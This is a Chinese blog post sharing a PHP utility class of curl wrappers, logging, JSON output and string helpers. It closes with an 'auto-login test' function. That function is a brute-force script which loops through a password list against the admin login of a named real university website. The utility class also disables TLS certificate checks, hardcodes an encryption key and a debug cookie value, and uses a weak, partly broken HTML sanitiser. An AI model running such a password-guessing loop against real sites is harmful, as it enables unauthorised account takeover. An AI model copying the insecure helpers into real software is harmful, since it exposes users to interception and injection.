常用的工具类

<?php


/**
 * 静态 function
 */
class framework_static_function
{
    private static $numLength = 14;
    private static $sid = NULL;




    /**
     * 浏览器友好的变量输出
     * @param mixed $var 变量
     * @param boolean $echo 是否输出 默认为true 如果为false 则返回输出字符串
     * @param string $label 标签 默认为空
     * @param integer $flags htmlspecialchars flags
     * @return void|string
     */
    public static function dump($var, $echo = true, $label = null, $flags = ENT_SUBSTITUTE)
    {
        $label = (null === $label) ? '' : rtrim($label) . ':';
        ob_start();
        var_dump($var);
        $output = ob_get_clean();
        $output = preg_replace('/\]\=\>\n(\s+)/m', '] => ', $output);
        // if (IS_CLI) {
        //    $output = PHP_EOL . $label . $output . PHP_EOL;
        //} else {
        if (!extension_loaded('xdebug')) {
            $output = htmlspecialchars($output, $flags);
        }
        $output = '<pre>' . $label . $output . '</pre>';
        // }
        if ($echo) {
            echo($output);
            return;
        } else {
            return $output;
        }
    }


    /**
     * 远程获取文件
     */
    public static function curl_file_get_contents($durl)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, trim($durl));
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        // curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, _USERAGENT_);
        curl_setopt($ch, CURLOPT_REFERER, _REFERER_);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($ch);
        // print_r(curl_getinfo($ch));exit;
        // var_dump(curl_error($ch));
        curl_close($ch);
        // var_dump($data);
        // exit;
        return $data;
    }


    /**
     * @param $url
     * @param $para
     * @param string $method
     * @return mixed
     */
    public static function http_curl($url, $para, $method = "POST")
    {
        $data_string = http_build_query($para);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        if ($method == "POST") {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
        } else {
            $url .= (strpos($url, '?') ? '&' : '?') . $data_string;
        }
        curl_setopt($ch, CURLOPT_URL, $url);
        $info = curl_getinfo($ch);


        $result = curl_exec($ch);
        framework_static_function::write_log("info:" . json_encode($info) . "result:" . json_encode($result), 'info');
        return $result;
    }


    public static function https_curl($url, $para, $cert = null)
    {
        if (strpos($url, 'PATr0003') === false) {
            framework_static_function::write_log($url . "\t" . $para, 'rlms_interface');
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);


        //测试数据
        curl_setopt($ch, CURLOPT_POSTFIELDS, $para);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        if ($cert == null) {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        } else {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);;
            curl_setopt($ch, CURLOPT_CAINFO, $cert);
        }
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Content-Type:application/json',
            'Content-Length: ' . strlen($para)
        ));
        $result = curl_exec($ch);
        curl_close($ch);
        if (!empty($result)) {
            return json_decode($result, true);
        } else {
            return false;
        }
    }


    /**
     * 支持http和https的请求
     * @param string $url
     * @param string $param
     * @param string $method
     * @param int $timeout
     *
     * @return mixed
     */
    public static function http_curl2($url, $param, $method = "POST", $timeout = 5)
    {
        $param = http_build_query($param);
        $parse_url = parse_url($url);
        $scheme = $parse_url['scheme'];
        $ch = curl_init();


        if ($scheme == 'https') {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        }


        curl_setopt($ch, CURLOPT_URL, $url);
        if ($method == "POST") {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
        } else {
            //get
        }
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }


    /**
     * 获取page URL
     */
    public static function curPageURL($ip = true)
    {
        if (SERVER_GET_IP && $ip)
            $_SERVER["SERVER_NAME"] = isset($_SERVER["SERVER_ADDR"]) ? $_SERVER["SERVER_ADDR"] : $_SERVER["SERVER_NAME"];
        $pageURL = 'http';


        if (isset($_SERVER["HTTPS"])) {
            if ($_SERVER["HTTPS"] == "on")
                $pageURL .= "s";
        }
        $pageURL .= "://";


        if ($_SERVER["SERVER_PORT"] != "80") {
            $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
        } else {
            $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
        }
        return $pageURL;
    }


    /**
     * 获取 URL
     */
    public static function curURL($ip = true)
    {
        $pageURLArr = explode("/", self::curPageURL($ip));
        unset($pageURLArr[count($pageURLArr) - 1]);
        return implode("/", $pageURLArr) . "/";
    }


    /**
     * 单一进程号
     * @author    jonah.fu
     * @date    20150324
     */
    public static function get_sid()
    {
        if (self::$sid == NULL)
            self::$sid = sha1(uniqid(4));


        return self::$sid;
    }


    /**
     * 按照时间顺序获取一个自定义编号
     * @author  jonah.fu
     * @date    2017-03-22
     * @return string
     */
    public static function getOrderID()
    {
        $order_no = date('ymd') . substr(implode(null, array_map('ord', str_split(substr(uniqid(4), 7, 13), 1))), 0, 8);


        return $order_no;
    }


    public static function microtime_float()
    {
        list($usec, $sec) = explode(" ", microtime());
        return ((float)$usec + (float)$sec);
    }


    /**
     * 检查文件夹
     */
    public static function mkdirs($path, $mode = 0777)
    {
        $dirs = explode('/', $path);
        $pos = strrpos($path, ".");
        if ($pos === false) {
            // note: three equal signs
            // not found, means path ends in a dir not file
            $subamount = 0;
        } else {
            $subamount = 1;
        }


        for ($c = 0; $c < count($dirs) - $subamount; $c++) {
            $thispath = "";
            for ($cc = 0; $cc <= $c; $cc++) {
                $thispath .= $dirs[$cc] . '/';
            }
            // echo $thispath . "<br />";
            if (!file_exists($thispath)) {
                //print "$thispath<br>";
                mkdir($thispath, $mode);
            }
        }
    }


    /**
     * 写日志到文件
     */
    public static function log_to_file($app_name, $msg)
    {
        $time = date('Y-d-m H:i:s');
        $msg = "[$time]:$msg\r";
        $filePATH = LOG_PATH . "/" . $app_name;
        if (!file_exists($filePATH))
            static_base::make_dir($filePATH);


        $filePATH = $filePATH . "/" . date('Ydm', time()) . ".log";
        if (!file_exists($filePATH))
            file_put_contents($filePATH, '');


        try {
            $handle = fopen($filePATH, "a");
            if (!$handle) {
                error_log("can\'t open file {$filePATH}\r");
                exit;
            }


            $return = fwrite($handle, $msg);
            if ($return === FALSE) {
                error_log("can\'t write file {$filePATH}\r");
                exit;
            }
            fclose($handle);
        } catch (Exception $e) {
            error_log("can\'t open file {$filePATH}\r");
        }


    }


    /**
     * 写日志到数据库
     */
    public static function log_to_db($logName, $logStr = '', $logErrCode = '0000')
    {
        $logName .= '_log';
        $m = framework_base_mongodb::connect();
        $insertArr = array(
            "log_time" => date('Y-m-d H:i:s'),
            'log_str' => $logStr,
            'log_err_code' => $logErrCode
        );
        $m->insert($logName, $insertArr);


    }


    /**
     * @param $array
     * @param int $num
     * @param bool $jsonHeader
     * 输出标准json
     *
     * @access    public
     *
     * @author    jonah.fu
     * @date    2012-04-19
     *
     * @return   string
     *
     */
    public static function output_json($array, $rspArr, $num = true, $jsonHeader = true, $flag = true)
    {
        header("Expires: Mon, 26 Jul 1970 01:00:00 GMT");
        $jsonHeader && header('Content-type: application/json;charset=utf-8');
        header("Pramga: no-cache");
        header("Cache-Control: no-cache");


        $rsp = array(
            'head' => array(
                'msgVersion' => $rspArr['msgVersion'],
                'reqAppId' => $rspArr['reqAppId'],
                'custString' => $rspArr['custString'],
                'reqTime' => $rspArr['reqTime'],
                'rspTime' => time(),
                'rspCode' => $array['statusCode'],
                'rspDescription' => $array['message']
            ),
            'body' => array()
        );
        unset($array['statusCode']);
        unset($array['message']);


        if (!empty($array)) {
            $rsp['body'] = $array;
        } else {
            $rsp['body'] = null;
        }


        if (RETURN_RSA && $flag) {
            model_descrypt::descr('aslMU89D3FchIkhK');


            if ($num) {
                exit(model_descrypt::encrypt(json_encode((array)($rsp), JSON_NUMERIC_CHECK)));
            } else {
                exit(model_descrypt::encrypt(json_encode((array)($rsp))));
            }
        } else {


            if ($num) {
                exit(json_encode((array)($rsp), JSON_NUMERIC_CHECK));
            } else {
                exit(json_encode((array)($rsp)));
            }
        }


    }


    /**
     * @param $array
     * @param int $num
     * @param bool $jsonHeader
     * 输出标准json
     *
     * @access  public
     *
     * @author  jonah.fu
     * @date    2012-04-19
     *
     * @return   string
     *
     */
    public static function output_json_server($array, $num = true, $jsonHeader = true)
    {
        header("Expires: Mon, 26 Jul 1970 01:00:00 GMT");
        $jsonHeader && header('Content-type: application/json;charset=utf-8');
        header("Pramga: no-cache");
        header("Cache-Control: no-cache");


        if ($num) {
            exit(json_encode((array)($array), JSON_NUMERIC_CHECK));
        } else {
            exit(json_encode((array)($array)));
        }
    }


    /**
     * 魔术引号
     */
    public static function strip_array($var)
    {
        return is_array($var) ? array_map("self::strip_array", $var) : addslashes(htmlspecialchars($var));
    }


    /**
     * 魔术引号
     * 支付宝风控使用 转编码格式 
     * zhounan 2018-03-06
     */
    public static function strip_array_gbk($var)
    {
        if(!is_array($var) && json_encode($var) == null){
           $var = mb_convert_encoding ($var,'UTF-8','GBK');
        }


        return is_array($var) ? array_map("self::strip_array_gbk", $var) : addslashes(htmlspecialchars($var));
    }


    /**
     * array + key
     * @author    jonah.fu
     */
    public static function array_add_key($key = '', $arr)
    {
        $r = array();
        if (!is_array($arr))
            return FALSE;
        foreach ($arr as $v) {
            $r[$v[$key]] = $v;
        }


        return $r;
    }


    /**
     * 圆周计算
     *
     */
    public static function rad($d)
    {
        return bcmul($d, (bcdiv('3.1415926535898', '180', self::$numLength)), self::$numLength);
    }


    /**
     * 经纬度之间获取距离
     */
    public static function GetDistance($lat1, $lng1, $lat2, $lng2)
    {
        $EARTH_RADIUS = 6378.137;
        $radLat1 = self::rad($lat1);
        //echo $radLat1;
        $radLat2 = self::rad($lat2);
        $a = bcsub($radLat1, $radLat2, self::$numLength);
        $b = bcsub(self::rad($lng1), self::rad($lng2), self::$numLength);
        $s = 2 * asin(sqrt(pow(sin($a / 2), 2) + cos($radLat1) * cos($radLat2) * pow(sin($b / 2), 2)));
        $s = bcmul($s, $EARTH_RADIUS, self::$numLength);
        $s = round($s * 10000) / 10000;
        return $s;
    }


    public static function debug($var)
    {
        if ($_COOKIE['debug'] == 'jkdc') {
            print_r('<pre style="text-align: left">');
            print_r((array)$var);
            print_r('</pre>');
        }
    }


    /**
     * 日志方法
     * @author    jonah.fu
     * @param    $logs            str
     * @param    $file_name        str
     * @param    $type            default 'info', case 'error','log','debug', debugmode=0 的时候,info 和 debug 将不记录
     * @param    $functionName    str
     * @return  no return
     */
    public static function write_log($logs, $file_name = 'main', $type = 'log', $functionName = '')
    {
        if (DEBUG_MODE == 0) {
            switch ($type) {
                case "info" :
                    return;
                case "debug" :
                    return;
            }
        }
        // $logs = date('Y-m-d H:i:s') . "\t" . $logs . "\n";
        if (is_array($logs))
            $logs = json_encode($logs);


        if (empty($file_name)) {
            $file = PATH_SYS . '/logs/' . date("Y/m/d") . '/main.log';
        } else {
            $file = PATH_SYS . '/logs/' . date("Y/m/d") . '/' . $file_name . '.log';
        }


        if (!file_exists(dirname($file))) {
            mkdir(dirname($file), 0775, true);
        }
        if (!empty($functionName))
            $functionName = "-[$functionName]";


        $sID = framework_base_session::get_yx_session_id();
        $uniqid = self::get_sid();
        $logs = "[$uniqid][$sID][$type]$functionName " . date_with_microtime() . " " . $logs . "\n";
        lib_log::sys_log($logs, $file_name);
        if (defined('IS_FILE_MONGO_LOG') && IS_FILE_MONGO_LOG == 1) {
            error_log($logs, 3, $file);
        }
    }


    public static function history_back($msg = '')
    {
        if ($msg) {
            $msg = "alert('" . $msg . "');";
        }
        echo "<script>" . $msg . "history.back(-1);</script>";
        die;
    }


    public static function rand_money()
    {
        return mt_rand(1, 9) / 100;
    }


    //封装rlms请求数据成json格式
    public static function rlms_json($para)
    {
        $data_string = "{";
        foreach ($para as $key => $val) {
            $data_string .= $key . ":'" . $val . "',";
        }
        $data_string = substr($data_string, 0, -1);
        $data_string .= "}";
        return $data_string;
    }


    //短信通知开发
    public static function notice_developer($msg, $mobile = '')
    {
        $mobile = $mobile ? $mobile : DEVELOPER_MOBILE;
        static_message::send($mobile, $msg);
    }


    /**
     *
     */
    public static function set_cookie($key, $value, $time = '24*60*60')
    {
        setCookie($key, $value, $time, '/');
    }


    /**
     * 检测文件是否存在
     *
     * @param string $urlpath
     *
     * @return boolean
     */
    public static function url_exists($url)
    {
        if (ENVIRONMENT != 'production ') {
            return true;
        }
        $url = str_replace("http://", "", $url);
        if (strstr($url, "/")) {
            $url = explode("/", $url, 2);
            $url[1] = "/" . $url[1];
        } else {
            $url = array(
                $url,
                "/"
            );
        }
        $fh = fsockopen($url[0], 80);
        if ($fh) {
            fputs($fh, "GET " . $url[1] . " HTTP/1.1\nHost:" . $url[0] . "\n\n");
            if (fread($fh, 22) == "HTTP/1.1 404 Not Found") {
                return FALSE;
            } else {
                return TRUE;
            }


        } else {
            return FALSE;
        }
    }


    /*
     * @desc 链接安全检查
     * @author huangming 2014-12-2
     */
    public static function safe_html($str)
    {
        $str = strip_tags($str);
        if (empty($str))
            return;
        if ($str == "")
            return $str;
        $str = str_replace(">", "", $str);
        $str = str_replace("<", "", $str);
        $str = str_replace("&", "&", $str);
        $str = str_replace("&amp", "&", $str);
        $str = str_replace("amp", "", $str);
        $str = str_replace("amp;", "", $str);
        $str = str_replace(";", "", $str);
        $str = str_replace("(", "", $str);
        $str = str_replace(")", "", $str);
        $str = str_replace("'", "", $str);
        $str = str_replace(" ", chr(32), $str);
        $str = str_replace("'", chr(39), $str);
        $str = str_replace("<br />", chr(13), $str);
        $str = str_replace("''", "'", $str);
        $str = str_replace("script", "", $str);
        // $str = str_replace(":", "", $str);
        // $str = str_replace("select", "select", $str);
        // $str = str_replace("join", "join", $str);
        // $str = str_replace("union", "union", $str);
        // $str = str_replace("where", "where", $str);
        // $str = str_replace("insert", "insert", $str);
        // $str = str_replace("delete", "delete", $str);
        // $str = str_replace("update", "update", $str);
        // $str = str_replace("like", "like", $str);
        // $str = str_replace("drop", "drop", $str);
        // $str = str_replace("create", "create", $str);
        // $str = str_replace("modify", "modify", $str);
        // $str = str_replace("rename", "rename", $str);
        // $str = str_replace("alter", "", $str);
        // $str = str_replace("cas", "cast", $str);    
        return $str;
    }


    public static function sub_str_mobile($name)
    {
        $strLen = mb_strlen($name, 'utf8');
        if ($strLen > 6) {
            $str = mb_substr($name, 0, 3, 'utf8') . '***' . mb_substr($name, $strLen - 3, $strLen, 'utf8');
        } else {
            $str = mb_substr($name, 0, 3, 'utf8') . '***';
        }
        return $str;
    }


    /**
     * 去除loginsgin参数
     *
     */
    public static function format_get_params($params) {
        $res = '';
        if(is_array($params)){
            foreach($params as $key=>$item){
                if($key != 'loginsgin'){
                    $res .= '&'.$key.'='.$item;
                }
            }
            $res = '?'.ltrim($res, '&');
        }
        return $res;
    }


    /*
    * @param string $url
    * @param $para
    * @param string $method
    * @return mixed
    */
    public static function http_curl_json($url, $para, $method = "POST", $timeout=CURL_TIMEOUT) {
        $data_string = json_encode($para);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($method == "POST") {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                'Content-Type:application/json',
                'Content-Length: ' . strlen($data_string)
            ));
        } else {
            //get
        }
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        return $result;
    }




    /**
     * 判断单双
     * @time 2017-10-16
     * @param num
     * @return int 1单 2双, 默认为单
     */
    public static function check_singular($num) {
        $res = 1;
        if(empty($num)){
            return $res;
        }
        if($num > 0 && $num % 2 == 0){
            $res = 2;
        }
        return $res;
    }
}

 

#自动登录测试

public function login(){
    set_time_limit(0);
    $fpath = str_replace('..', '', API_ROOT);
    $file = $fpath.'/'.'password.lst';
    $pwd = file_get_contents($file);

    $pwd = explode(',',$pwd);

    while (true) {
        foreach($pwd as $k=>$v){
            $url = 'http://www.whit.edu.cn/Admin/Public/login';
            $this->common = new Common_Functions();
            $params = array(
                'username' =>'admin',
                'password' => $v
            );

            $result = $this->common->curlPost($url, $params);

            $ret = json_decode($result,true);

            DI()->logger->info("login:第".$k."个数据" . $v.'数据执行完成返回结果为0'.$ret);
            if($ret['status'] !=0){
                DI()->logger->info("login:第".$k."个数据" . $v.'数据执行完成88888888888888888888888888888888888');
                return; die;
            }
        }
    }

}


?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值